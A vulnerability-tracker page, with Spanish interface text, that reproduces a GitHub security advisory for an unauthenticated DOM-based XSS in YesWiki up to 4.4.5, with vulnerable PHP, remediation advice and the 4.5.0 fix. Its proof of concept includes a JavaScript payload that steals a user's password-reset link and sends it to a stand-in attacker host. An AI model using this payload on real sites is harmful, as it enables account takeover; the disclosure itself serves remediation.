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Advisory · GitHub · Packagist · yeswiki/yeswiki

GHSA-WPHC-5F2J-JHVG

Unauthenticated DOM Based XSS in YesWiki

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión4.5.0
Exposición667 dDesde la divulgación, 21 ene 2025, 3:08 p. m.
Detección664 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
21 ene 25
17 nov 26
20 nov 26
21 ene 25
7 jul 25
21 dic 25
6 jun 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-WPHC-5F2J-JHVG divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

### Summary
It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.

This Proof of Concept has been performed using the followings:
- YesWiki v4.4.5 (`doryphore-dev` branch, latest)
- Docker environnment (`docker/docker-compose.yml`)
- Docker v27.5.0
- Default installation

### Details
The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.

This part of the code is managed by `tools/tags/handlers/page/listpages.php`, and this piece of code https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L84 is responsible for the vulnerability:

$output .= '<div class="alert alert-info">' . "\n";
if ($nb_total > 1) {
    $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]);
} elseif ($nb_total == 1) {
    $output .= _t('TAGS_ONE_PAGE_FOUND');
} else {
    $output .= _t('TAGS_NO_PAGE');
}
$output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) {
    return '<span class="tag-label label label-info">' . $tagName . '</span>';
}, $tab_selected_tags)) : '') . '.';
$output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n";
$output .= '</div>' . "\n" . $text;

echo $this->Header();
echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hr_clear\" />\n</div>\n";
echo $this->Footer();

The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.

### PoC
#### 1. Simple XSS
Abusing the `tags` parameter, we can successfully obtain client side javascript execution:

!poc1 https://github.com/user-attachments/assets/cfd59dd6-ebda-4587-b903-d2777fc7d780

#### 2. Full account takeover scenario
By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460 https://cwe.mitre.org/data/definitions/640.html). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

fetch('/?ParametresUtilisateur')
  .then(response => {
    return response.text();
  })
  .then(htmlString => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, 'text/html');
    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
  })

Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.

!poc2 https://github.com/user-attachments/assets/02884697-f0a5-43df-8bab-d83f8c9a102d
!poc3 https://github.com/user-attachments/assets/ef5b44f1-97bb-4cf1-a32b-471f8c672ebd
!poc4 https://github.com/user-attachments/assets/6a0193a2-1a01-4c65-bd97-f7c900f7f174

### Impact
This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

### Suggestion of possible corrective measures
- Sanitize properly the tag names when created here https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/services/TagsManager.php#L60

        foreach ($tags as $tag) {
            trim($tag);
            if ($tag != '') {
                if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) {
                    $this->tripleStore->create($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '');
                }
                //on supprime ce tag du tableau des tags restants a effacer
                if (isset($tags_restants_a_effacer)) {
                    unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);
                }
            }
        }
  • Sanitize the tag names when looked for here https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L15
//$tags = (isset($_GET['tags'])) ? $_GET['tags'] : '';
$tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : '';
  • Implement a stronger password reset mechanism through:
  • Not showing a password reset link to an already logged-in user.
  • Generating a password reset link when a reset is requested by a user, and only send it by mail.
  • Add an expiration/due date to the token

- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)
> The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
yeswiki/yeswiki< 4.5.0
4.5.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistyeswiki/yeswiki
Corregida 4.5.0 — —
Versiones corregidas4.5.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2025-24017
Otrahttps://github.com/YesWiki/yeswiki/security/advisories/GHSA-wphc-5f2j-jhvg
Otrahttps://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b
Otrahttps://github.com/YesWiki/yeswiki

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